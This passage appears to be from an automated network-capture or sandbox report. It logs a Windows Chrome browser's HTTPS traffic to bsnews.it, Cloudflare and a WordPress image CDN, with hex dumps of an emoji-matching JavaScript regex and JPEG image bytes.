2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 6f 72 7d 29 7d 2c 72 65 70 6c 61 63 65 3a 6e 2c 74 65 73 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 68 2e 6c 61 73 74 49 6e 64 65 78 3d 30 3b 64 3d 68 2e 74 65 73 74 28 64 29 3b 72 65 74 75 72 6e 20 68 2e 6c 61 73 74 49 6e 64 65 78 3d 30 2c 64 7d 7d 2c 75 3d 7b 22 26 22 3a 22 26 61 6d 70 3b 22 2c 22 3c 22 3a 22 26 6c 74 3b 22 2c 22 3e 22 3a 22 26 67 74 3b 22 2c 22 27 22 3a 22 26 23 33 39 3b 22 2c 27 22 27 3a 22 26 71 75 6f 74 3b 22 7d 2c 68 3d 2f 28 3f 3a 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 Data Ascii: or})},replace:n,test:function(d){h.lastIndex=0;d=h.test(d);return h.lastIndex=0,d}},u={"&":"&","<":"<",">":">","'":"'",'"':"""},h=/(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\u
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 Data Ascii: 3c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 Data Ascii: d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]\|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\u
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 Data Ascii: ffb-\udfff]\|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]\|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 64 31 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 38 62 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 38 5c 75 64 63 36 39 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 Data Ascii: d1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]\|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]\|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 75 64 63 36 65 5c 75 64 63 37 30 5c 75 64 63 37 31 5c 75 64 63 37 33 5c 75 64 63 37 37 5c 75 64 63 38 31 5c 75 64 63 38 32 5c 75 64 63 38 36 5c 75 64 63 38 37 5c 75 64 65 34 35 2d 5c 75 64 65 34 37 5c 75 64 65 34 62 5c 75 64 65 34 64 5c 75 64 65 34 65 5c 75 64 65 61 33 5c 75 64 65 62 34 2d 5c 75 64 65 62 36 5d 7c 5c 75 64 38 33 65 5b 5c 75 64 64 32 36 5c 75 64 64 33 35 5c 75 64 64 33 37 2d 5c 75 64 64 33 39 5c 75 64 64 33 64 5c 75 64 64 33 65 5c 75 64 64 62 38 5c 75 64 64 62 39 5c 75 64 64 63 64 2d 5c 75 64 64 63 66 5c 75 64 64 64 34 5c 75 64 64 64 36 2d 5c 75 64 64 64 64 5d 29 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 29 3f 5c 75 32 30 30 64 5b 5c 75 32 36 34 30 5c 75 32 36 34 32 5d 5c 75 66 65 30 66 7c 28 3f 3a 5c 75 64 38 Data Ascii: udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]\|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f\|(?:\ud8
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 66 5c 75 32 30 30 64 5c 75 32 36 34 30 5c 75 66 65 30 66 7c 5c 75 64 38 33 64 5c 75 64 63 36 66 5c 75 32 30 30 64 5c 75 32 36 34 32 5c 75 66 65 30 66 7c 5c 75 64 38 33 64 5c 75 64 65 32 65 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 61 38 7c 5c 75 64 38 33 64 5c 75 64 65 33 35 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 61 62 7c 5c 75 64 38 33 65 5c 75 64 64 33 63 5c 75 32 30 30 64 5c 75 32 36 34 30 5c 75 66 65 30 66 7c 5c 75 64 38 33 65 5c 75 64 64 33 63 5c 75 32 30 30 64 5c 75 32 36 34 32 5c 75 66 65 30 66 7c 5c 75 64 Data Ascii: \u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\ud83d[\udc66\udc67]\|\ud83d\udc6f\u200d\u2640\ufe0f\|\ud83d\udc6f\u200d\u2642\ufe0f\|\ud83d\ude2e\u200d\ud83d\udca8\|\ud83d\ude35\u200d\ud83d\udcab\|\ud83e\udd3c\u200d\u2640\ufe0f\|\ud83e\udd3c\u200d\u2642\ufe0f\|\ud
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 32 37 30 38 5c 75 32 37 30 39 5c 75 32 37 30 66 5c 75 32 37 31 32 5c 75 32 37 31 34 5c 75 32 37 31 36 5c 75 32 37 31 64 5c 75 32 37 32 31 5c 75 32 37 33 33 5c 75 32 37 33 34 5c 75 32 37 34 34 5c 75 32 37 34 37 5c 75 32 37 35 37 5c 75 32 37 36 33 5c 75 32 37 36 34 5c 75 32 37 61 31 5c 75 32 39 33 34 5c 75 32 39 33 35 5c 75 32 62 30 35 2d 5c 75 32 62 30 37 5c 75 32 62 31 62 5c 75 32 62 31 63 5c 75 32 62 35 30 5c 75 32 62 35 35 5c 75 33 30 33 30 5c 75 33 30 33 64 5c 75 33 32 39 37 5c 75 33 32 39 39 5d 29 28 3f 3a 5c 75 66 65 30 66 7c 28 3f 21 5c 75 66 65 30 65 29 29 7c 28 3f 3a 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5c 75 64 64 39 30 5d 7c 5b 5c 75 32 36 31 64 5c 75 32 Data Ascii: 2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f\|(?!\ufe0e))\|(?:(?:\ud83c[\udfcb\udfcc]\|\ud83d[\udd74\udd75\udd90]\|[\u261d\u2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49870	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	649	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
2024-03-28 08:51:09 UTC	640	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Length: 0 Connection: close cache-control: max-age=300, public location: /cdn-cgi/challenge-platform/h/g/scripts/jsd/dc6b543c1346/main.js access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f7KV1LkElneifSouaqwIDBcteeBOsOrFE%2FyN8Ptc0D%2B7HY9w98Cj%2BPfEN7fXhQRymRnBywg95qpgYKQNquGHcshHanuWeyG12v5L7mp91yOay8%2F7VTY38K7mJeM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6606e397b20ab-IAD alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49871	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	424	OUT	GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	606	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 11670 Connection: close Last-Modified: Tue, 26 Mar 2024 13:56:49 GMT Expires: Fri, 27 Mar 2026 01:56:49 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "98dff69f4a7a9b34" X-Bytes-Saved: 622 Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	763	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 09 06 07 08 07 06 09 08 07 08 0a 0a 09 0b 0d 16 0f 0d 0c 0c 0d 1b 14 15 10 16 20 1d 22 22 20 1d 1f 1f 24 28 34 2c 24 26 31 27 1f 1f 2d 3d 2d 31 35 37 3a 3a 3a 23 2b 3f 44 3f 38 43 34 39 3a 37 ff db 00 43 01 0a 0a 0a 0d 0c 0d 1a 0f 0f 1a 37 25 1f 25 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 00 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 34 16 3c de 85 ec 2b 51 2a Data Ascii: JFIFC "" $(4,$&1'-=-157:::#+?D?8C49:7C7%%77777777777777777777777777777777777777777777777777D"4<+Q*
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 74 47 a1 0b 33 d0 ac 30 12 99 5e b4 72 a5 4a 72 52 b8 3b cb 76 4d 82 d8 cf 4a 50 97 1c 13 33 91 d7 9e 86 b6 7e ae 36 b5 e4 45 14 01 19 b9 59 92 a9 38 73 6c fd 11 57 72 c1 a7 e8 bb 55 1d 33 43 eb d2 a2 93 15 c6 1f 55 c7 3c 83 19 68 4b 89 a2 22 14 7a b4 88 b7 87 93 27 b6 fb 39 62 f6 e7 b7 45 25 2b e7 3d 1f 9c de 1f d4 c1 da 1e 11 2b 34 a5 ef 04 58 9d 24 ba 8c 88 c6 61 55 ec b1 a9 59 79 64 2d b3 1a a3 cd 64 48 2a 5a ab d7 84 1d 6c 34 9a d6 08 c4 5a d9 8f 22 36 6e 9a 90 87 ce 70 c0 fa 9d 1b 18 04 a9 f3 db d8 7b c0 f6 71 75 f4 36 62 83 1a 46 f4 b4 90 05 26 74 01 38 9a 37 7c c6 9a 56 62 22 ac a7 d4 7c dd 59 4c b7 63 39 35 3b 39 91 62 43 d4 58 14 51 69 13 42 a9 ed 98 4c c2 84 e1 d4 d1 3a 47 17 b3 7f ff c4 00 27 10 00 02 02 02 01 05 01 00 01 05 01 00 00 00 00 00 Data Ascii: tG30^rJrR;vMJP3~6EY8slWrU3CU<hK"z'9bE%+=+4X$aUYyd-dH*Zl4Z"6np{qu6bF&t87\|Vb"\|YLc95;9bCXQiBL:G'
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 04 30 4d 41 8e a5 87 38 ca b0 30 c0 45 19 f2 71 38 9c 76 da 02 0c a1 db 58 56 19 ac d0 40 b0 ab cd 5a 1f ba ac 55 ed 57 34 13 a8 c7 c4 e9 3b 34 26 e1 fa 26 d5 14 dc 32 cc d8 46 22 15 a8 73 30 98 da ff 00 b6 bb f1 db e4 da 6d d8 c5 51 35 e0 0a 9c 56 a0 cd 17 b5 77 7f cb fe ba 53 36 8d 0f 65 9a 71 65 62 9b 85 6e 32 eb 03 41 51 95 5a 36 32 85 73 4b 07 bd ca fe cb 32 e7 1d 84 59 6b 28 1e dc cd bb 5c 26 08 ff 00 97 fd 62 34 56 e8 d9 87 88 39 9f 21 26 1f 68 0e b3 7b 95 71 96 5c 52 25 cc 98 81 9e d8 ca e4 06 7d ed 72 fb 54 33 99 5d c1 e4 73 01 12 a6 9c e8 25 c3 07 67 fc e4 1e c8 68 a3 58 10 a0 11 9a 0e 3b 1b 11 d6 d5 5b 52 a6 e1 8d 3e 45 69 71 d7 68 d8 d9 4a e5 a8 ac 0f f6 dc fb 0c ab 9a c0 0c ba 82 8c 02 2e f7 b0 ec 4f 76 f9 97 f5 3a 55 2c 0d 24 72 58 70 26 d7 Data Ascii: 0MA80Eq8vXV@ZUW4;4&&2F"s0mQ5VwS6eqebn2AQZ62sK2Yk(\&b4V9!&h{q\R%}rT3]s%ghX;[R>EiqhJ.Ov:U,$rXp&
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 7a 65 f5 2e 29 ae 9f 71 34 4b 66 49 92 ef 47 ad 09 de 6c 38 65 57 69 da 99 12 aa a7 52 f5 28 f4 de cc 11 45 dc 8b e1 35 09 74 38 9e d7 a9 74 67 76 6c 60 e8 79 8e 47 15 08 f2 c1 fb 8b ea 5d a4 66 4b 11 8f 42 c4 16 32 cf 33 3c cc e1 aa 34 c8 b9 47 43 a9 4c e5 d6 c7 2f 94 14 fa 6b 35 38 2d 73 86 c4 bd 39 18 2f 49 96 5a ad 2e 99 83 1f 63 ca 5c b3 39 69 8d 3b 6f 43 df b1 2d 33 e1 c7 49 16 d6 0f 32 b1 fd 3a 5b 32 a9 5d 8b fd f5 be fe 4c 97 46 11 88 32 5a ad cb ce 97 31 ad f7 2e 5b 5b 6b 07 6d 6e 5b 73 9e fe 77 2c 5e e7 94 bd 27 97 76 de 15 8b 99 2d 72 69 b1 0d 78 d8 31 ae 2d ad f7 9f 8f 34 91 51 6f 1a 22 5e 96 7a 61 ee bd 67 c1 be f7 6f 13 27 e0 8d 32 5d 96 bf d7 c1 b1 c6 70 97 d2 c4 f8 57 f0 71 af 63 3e e7 01 2e e7 13 5e de 07 62 db b8 f7 21 7f 6d cb 4c 7d 34 Data Ascii: ze.)q4KfIGl8eWiR(E5t8tgvl`yG]fKB23<4GCL/k58-s9/IZ.c\9i;oC-3I2:[2]LF2Z1.[[kmn[sw,^'v-rix1-4Qo"^zago'2]pWqc>.^b!mL}4
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: e6 ea a7 d3 1f 43 56 a6 2a 83 a4 be 34 b8 3d 7f 70 71 5e de e4 96 9d e6 60 89 78 ac 41 f2 a5 95 73 c7 4c 40 94 69 03 92 ca d4 71 24 16 b0 be 5b 65 c2 85 58 dc 4e 7f 25 f1 32 3a 7a 85 fa 8e ae e5 d5 2a f9 71 2d 6d 4a fc 4d 8c 32 67 b8 08 3b ad 5c cb f7 cf 70 e1 aa f7 2f 5b 00 3f 07 0c bd 54 67 99 8e 63 25 7c cb b9 05 31 8c 04 e3 55 50 d1 90 52 ff 00 2b 98 0b 93 e6 5c 1a ab 4c c0 57 b2 9a ff 00 91 f2 d6 de 54 d7 07 5c d0 86 ab 7d 56 11 50 17 08 da a0 23 02 1a b3 9b c5 ca 0d 5e 5f 69 92 35 aa 5a 88 05 ac 8c ca 40 ad 67 a9 79 8b 97 07 86 2f 5f 41 5f dc 5d f4 5d bf c4 5b 39 4c 3a 6b 9f 88 51 69 ba 56 67 33 36 6d b3 69 9c 0c 30 0c dc ad 9e e6 52 6c de 5c 00 bb cc 35 be 51 dc 2e f4 f3 51 6d 65 aa 43 1b 77 39 78 ff 00 12 a8 d2 94 1d 1b 75 99 5a a5 77 78 94 25 a0 Data Ascii: CV4=pq^`xAsL@iq$[eXN%2:zq-mJM2g;\p/[?Tgc%\|1UPR+\LWT\}VP#^_i5Z@gy/_A_]][9L:kQiVg36mi0Rl\5Q.QmeCw9xuZwx%
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 96 96 c3 c3 25 46 5b b7 51 71 e2 38 c3 3e c8 83 b9 46 a3 90 d3 64 78 40 16 15 1b c6 63 f3 88 43 77 34 97 7d 4c b5 fa 72 f9 94 18 80 a3 57 1d 5e 29 1b a7 98 00 5a cb 65 6a 69 53 ea 02 2c e9 b8 40 6d b7 f1 0b cd f2 cf ff da 00 0c 03 01 00 02 00 03 00 00 00 10 24 ec 05 c1 a1 bd f9 6e 8a 39 e4 b3 c5 83 47 31 5d 56 d0 33 bb 8b ac 49 78 11 6a bd 8f 15 0f d9 4e ab e3 36 73 4d a4 44 65 b0 a0 36 ec a8 1f 03 01 fa 64 f6 02 0b c8 f2 15 0e 1b 2a 92 50 0f 7f 9c dc 1d 08 be c6 f1 ad ef 80 8a 20 96 65 08 a8 22 ec 36 00 04 5b 27 f4 44 99 d9 28 9d 34 09 da 63 e7 27 ff 00 e0 17 5c 59 86 03 86 d8 b8 ec fd a9 94 0d 39 ff 00 11 58 c4 61 5a 26 3e 0f 27 c0 a8 13 df a5 f0 01 75 ad ed d9 ea 71 3d e0 17 3d 6f 83 d6 18 46 3e 4a 43 06 99 99 f6 08 2d c3 ff 00 ff c4 00 1d 11 01 01 01 Data Ascii: %F[Qq8>Fdx@cCw4}LrW^)ZejiS,@m$n9G1]V3IxjN6sMDe6d*P e"6['D(4c'\Y9XaZ&>'uq==oF>JC-
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: e5 05 bf d1 fd dc 45 a0 15 83 fb af 69 55 45 f8 5a 1f f7 cc cb 6e be c0 ae 9f dd 40 84 05 6a 96 ff 00 a9 44 85 a3 42 56 3d f8 8a 1a b8 80 70 0d e3 9f a8 c1 ba 11 4c a5 dd d7 1c 7c 4f 65 06 f1 72 e1 71 40 3d 27 ed fc cc d2 60 2a 1a d5 fe 21 a4 68 e1 ab e2 58 09 07 94 a2 78 e9 b1 1a f6 ed 6f ae 2d ff 00 25 c3 d9 97 95 cd 3f 11 ab 0d 66 b6 8d 78 a7 a8 30 06 01 59 0a 71 72 d5 0b bc 5c b3 74 1a ea 38 d8 64 c2 b8 8a b7 9a b3 77 ef 2a 05 a9 bc 44 6f 05 2a b6 62 38 af 8d 43 2c 46 8a 20 8f 2d 0b 5b 1c fb 71 17 ea 28 84 4a a5 bb 3d a2 37 36 6d 90 c6 6e 65 77 36 df b2 f7 06 a0 8e 1b 7c af fd 22 5a c3 77 b4 28 af c9 2b 88 07 87 b4 19 33 14 6d 78 3b d4 b0 82 fa c3 d4 7f 1e 26 58 5a cd a1 fc b3 87 a5 55 80 79 f8 89 99 b2 1d 85 39 d4 14 8e 8e ce 0b 7f 1a 88 0d 42 e6 b8 Data Ascii: EiUEZn@jDBV=pL\|Oerq@='`!hXxo-%?fx0Yqr\t8dwDo*b8C,F -[q(J=76mnew6\|"Zw(+3mx;&XZUy9B
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 4f 53 40 22 05 03 2f 25 f9 ea 18 88 51 32 69 5d df cb f1 02 c0 19 29 57 5c 29 c4 2d cc d4 5a dd ba 32 bc 41 7b 79 34 a9 0a d3 5c be 61 22 36 e0 c3 b3 76 f7 29 e1 b4 4d e3 3e a4 d8 82 d4 54 aa be 5e c9 88 31 c4 0d 0c fe 11 0a 58 52 5d 80 33 e9 2f c2 61 4a 1c 77 2c ba 0a 24 6d d1 43 6f fb 2b 1a 44 0c 66 18 c3 44 b9 89 14 78 17 3f 52 99 06 c6 76 9c 6d dc 7a 4e 0b 65 15 5f d0 fa 45 ca a5 e6 7b d7 b4 08 d8 e4 28 02 b7 44 63 22 5a 99 34 6d 73 ac f3 98 1e 7c 0b 2d d5 18 f5 c9 f3 08 2e 87 40 4f 4b f1 ef 12 80 31 54 af 0a 84 30 4b 6e b2 d4 45 82 f2 80 52 c3 8e 46 a0 b2 97 50 a5 e7 72 fc 68 09 97 bb cc 15 39 99 ba 36 4a 5c c3 79 c1 fc 22 3e d1 6d cb 29 6b 52 cc 40 8d 72 0f 81 af a9 9a 08 4c 5d 73 75 99 a8 da 94 bf 2c e7 47 dc 29 d1 1a 0e 2a 8b 5a e2 e3 e9 c3 a6 1b Data Ascii: OS@"/%Q2i])W\)-Z2A{y4\a"6v)M>T^1XR]3/aJw,$mCo+DfDx?RvmzNe_E{(Dc"Z4ms\|-.@OK1T0KnERFPrh96J\y">m)kR@rL]su,G)*Z
2024-03-28 08:51:09 UTC	1324	IN	Data Raw: 76 03 fd 9b 0e 3b b7 fa 60 4e 07 36 1f c0 8b 82 95 f3 87 e6 36 58 d5 2a 17 ea 3a c7 c9 8a a0 0b af ec 94 4a f3 6b fa 80 94 5c 7e 97 10 54 21 76 37 03 35 91 ce ae 21 02 ad 58 54 0c 43 76 ce 0a 77 73 20 4b e2 51 cd 3d 4a 65 97 c4 c7 62 dc 4a e3 21 28 c8 d4 24 53 b0 82 55 94 ed 89 0c 18 5e 17 a6 b5 ef 0b 0b d7 21 13 a4 4a b6 c2 f9 af f9 09 50 d2 be 57 f8 10 82 42 d4 c6 f3 15 80 06 02 7b 1e 9d 41 60 1b d1 7c e7 ea 23 44 1d 1a f9 37 f5 28 e3 3c b3 f2 6e 38 01 f7 89 d9 4d 2d cb a7 30 e8 94 02 3c 40 5b 2a d6 d9 82 cb 3e 92 a6 bd 16 20 f2 bc ee 5a 2f b6 29 1c c5 13 cd cb 38 bd 71 08 d0 ee 56 46 97 3c 58 ea 72 df fd 66 19 eb d1 21 b2 c6 da ba 4b f5 48 39 06 e3 78 59 9d a7 e6 19 5b d2 8d bf a9 bd 9d 8c 4b 15 4d 79 94 11 4c cb 76 a9 48 49 da 1b 0c bc c5 99 c6 ac 80 Data Ascii: v;`N66X:Jk\~T!v75!XTCvws KQ=JebJ!($SU^!JPWB{A`\|#D7(<n8M-0<@[> Z/)8qVF<Xrf!KH9xY[KMyLvHI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49877	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
